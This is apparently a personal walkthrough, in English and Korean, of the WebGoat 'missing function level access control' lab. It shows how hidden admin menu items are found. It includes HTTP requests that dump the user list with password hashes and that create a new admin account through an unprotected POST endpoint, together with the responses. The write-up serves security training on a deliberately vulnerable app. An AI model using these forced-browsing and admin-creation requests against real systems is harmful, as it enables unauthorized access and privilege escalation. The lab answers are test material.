Access control, like preventing XSS with output encoding, can be tricky to maintain. One must ensure it is adequately enforced throughout the entire application, thus in every method/function.
XSS를 방지하기 위한 출력 인코딩과 같이 접근 제어는 유지하기 까다로울 수 있다. 전체 Application에서 적용되는 것을 보장해야 하며, 모든 메서드와 함수에서 이를 확인해야 한다.
The fact is many people (including the author of this lesson) would combine function level access control and IDOR into 'Access Control.' For the sake of OWASP Top 10 and these lessons, we will make a distinction. The distinction most made is that IDOR is more of a 'horizontal' or 'lateral' access control issue, and missing function level access control 'exposes functionality.' Even though the IDOR lesson here demonstrates how functionality may also be exposed (at least to another user in the same role), we will look at other ways functionality might be exposed.
사실 많은 사람들(이 레슨의 작성자 포함)이 기능 수준 접근 제어와 IDOR을 '접근 제어'로 통칭한다. OWASP Top 10과 이 레슨을 위해 우선 구분하도록 한다. 둘 사이의 구별점은 IDOR이 조금 더 '수평적' 또는 '측면적' 접근 제어 이슈이고, 기능 수준 접근 제어 누락은 '기능 노출'의 문제로 간주된다. 여기서 IDOR 레슨을 통해 기능이 어떻게 노출될 수 있는지 보여주더라도(최소 동일한 역할을 가진 다른 유저에게), 기능이 노출될 수 있는 다른 방식에 대해서 확인할 것이다.
One could rely on HTML, CSS, or javascript to hide links that users don’t normally access. In the past, a network router tried to protect (hide) admin functionality with javascript in the UI: https://www.wired.com/2009/10/routers-still-vulnerable.
HTML, CSS, 또는 JavaScript를 사용해 사용자가 일반적으로 접근하지 않는 링크를 숨길 수 있다. 과거에 네트워크 라우터는 JavaScript로 관리자 기능을 보호(숨김)하려 시도한 살계가 있다.
There are usually hints to finding functionality the UI does not openly expose in:
UI에서 공개적으로 노출되지 않는 기능을 찾기 위한 힌트는 보통 다음과 같은 곳에서 찾을 수 있다.
Find two invisible menu items in the menu below that are or would be of interest to an attacker/malicious user and submit the labels for those menu items (there are no links right now in the menus).
아래 메뉴에서 공격자/악의적인 사용자에게 관심이 있을만한 두 개의 보이지 않는 메뉴 항목을 찾아 해당 메뉴 항목의 라벨을 제출해라(현재 메뉴에 링크는 없다).
CSS로 display:hidden
처리된 요소는 화면에 보이지 않는다. 일반적으로 관리자 권한을 가진 세션으로 접속했을 때 해당 메뉴가 보이도록 처리한다.
As the previous page described, sometimes applications rely on client-side controls to control access (obscurity). If you can find invisible items, try them and see what happens. Yes, it can be that simple!
이전 페이지에서 설명한 것과 같이 때때로 Application은 클라이언트 측 컨트롤(모호성)에 의존해 접근을 제어한다. 숨겨진 항목을 찾으면 시도해보고 무슨 일이 일어나는지 봐라. 간단하다.
Often data dumps originate from vulnerabilities such as SQL injection, but they can also come from poor or lacking access control.
종종 데이터 덤프는 SQL 인젝션과 같은 취약점에서 비롯되지만, 접근 제어가 부족하거나 잘못된 경우에도 발생할 수 있다.
It will likely take multiple steps and multiple attempts to get this one:
이 작업을 수행하려면 여러 번의 단계와 시도가 필요할 것이다:
Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry’s account.
이미 수집한 정보(숨겨진 메뉴 항목)를 시작점으로 하여 사용자 목록을 가져오고 Jerry의 계정에 대한 '해시'를 제출해라.
<ul class="dropdown-menu" aria-labelledby="admin">
<li><a href="/access-control/users">Users</a></li>
<li><a href="/access-control/users-admin-fix">Users</a></li>
<li><a href="/access-control/config">Config</a></li>
</ul>
현재 알고 있는 정보는 위 메뉴가 숨겨져 있다는 것이다. 사용자 목록에 Jerry의 계정 정보가 있을 것이다. 각각의 메뉴에 접근했을 때 어떤 정보를 얻을 수 있는지 확인해야 한다.
RESTful 패턴을 따른다면 아마도 /access-control/users
에서 유저 목록을 볼 수 있을 것이다.
/WebGoat/access-control/users
URL로 접근하면 Whitelabel Error Page를 볼 수 있다.
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
Tue May 14 14:18:29 KST 2024
There was an unexpected error (type=Internal Server Error, status=500).
org.thymeleaf.exceptions.TemplateInputException: An error happened during template parsing (template: "class path resource [webgoat/templates/list_users.html]")
at org.thymeleaf.templateparser.markup.AbstractMarkupTemplateParser.parse(AbstractMarkupTemplateParser.java:235)
at org.thymeleaf.templateparser.markup.AbstractMarkupTemplateParser.parseStandalone(AbstractMarkupTemplateParser.java:100)
at org.thymeleaf.engine.TemplateManager.parseAndProcess(TemplateManager.java:649)
at org.thymeleaf.TemplateEngine.process(TemplateEngine.java:1103)
at org.thymeleaf.TemplateEngine.process(TemplateEngine.java:1077)
at org.thymeleaf.spring6.view.ThymeleafView.renderFragment(ThymeleafView.java:372)
at org.thymeleaf.spring6.view.ThymeleafView.render(ThymeleafView.java:192)
.
.
.
유의미한 내용은 webgoat/templates/list_users.html
파일을 렌더링하려다 실패했다는 부분이다. list_users.html
파일이 서버에 있고, 유저 목록 데이터를 html 파일에 뿌려 반환하는 구조임을 알 수 있다. 하지만 템플릿 엔진이 list_users.html
을 파싱하는 과정에서 오류가 있어 정상적으로 응답하지 못했다.
렌더링 할 데이터가 없거나 혹은 템플릿이 없을 수 있다. 템플릿 렌더링 과정을 생략하기 위해 Content-Type:application/json
을 Header에 명시하면 템플릿 렌더링 과정이 생략되므로 데이터가 있다면 응답받을 수 있다.
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Tue, 14 May 2024 05:41:11 GMT
[ {
"username" : "Tom",
"admin" : false,
"userHash" : "Mydnhcy00j2b0m6SjmPz6PUxF9WIeO7tzm665GiZWCo="
}, {
"username" : "Jerry",
"admin" : true,
"userHash" : "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg="
}, {
"username" : "Sylvester",
"admin" : false,
"userHash" : "B5zhk70ZfZluvQ4smRl4nqCvdOTggMZtKS3TtTqIed0="
} ]
해시를 입력하면 'Congrats! You really succeeded when you added the user.' 메세지가 나오는데 유저를 추가했을 때 진짜 성공한다는 의미로 보인다.
POST /WebGoat/access-control/users HTTP/1.1
Host: localhost:8080
.
.
.
Content-Type:application/json
Connection: close
Content-Length: 76
{
"username" : "oxahex",
"admin" : true,
"password": "12345"
}
POST로 요청하는 경우 계정을 추가할 수 있다.
The company found out the endpoint was a bit too open, they made an emergency fixed and not only admin users can list all users.
Start with the information you already gathered (hidden menu items) to see if you can pull the list of users and then provide the 'hash' for Jerry’s account.
회사는 엔드포인트가 너무 개방적이라는 것을 발견하고, 관리자 계정만 모든 사용자를 나열할 수 있도록 했다.
이미 수집한 정보(숨겨진 메뉴 항목)를 시작점으로 하여 사용자 목록을 가져오고 Jerry의 계정에 대한 '해시'를 제출해라.
/users-admin-fix
엔드포인트가 문제에서 말하는 수정된 엔드포인트로 추측된다. /users
와 동일한 역할을 한다면 /users-admin-fix
에 POST로 관리자 계정을 추가하고 다시 GET 요청으로 회원 목록을 불러올 수 있을 것이다.
POST /WebGoat/access-control/users-admin-fix HTTP/1.1
Host: localhost:8080
.
.
.
Content-Type: application/json
Content-Length: 46
{
"username" : "oxahex",
"admin" : true,
"password": "1234"
}
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Tue, 14 May 2024 06:54:00 GMT
{
"username" : "oxahex",
"password" : "1234",
"admin" : true
}
/users
로 조회한 사용자 목록에 추가한 신규 유저(관리자 권한을 가진)로 어떻게 로그인해야 하나 고민하다가 내가 현재 WebGoat에 로그인한 사용자와 동일한 이름을 가지고 admin이 true인 새 계정을 생성했다.사실 문제가 조금 더 개연성이 있으려면 유저 목록을 조회했을 때 내 아이디가 포함되어야 문제를 이해하기 쉬울 것 같다는 생각이 든다.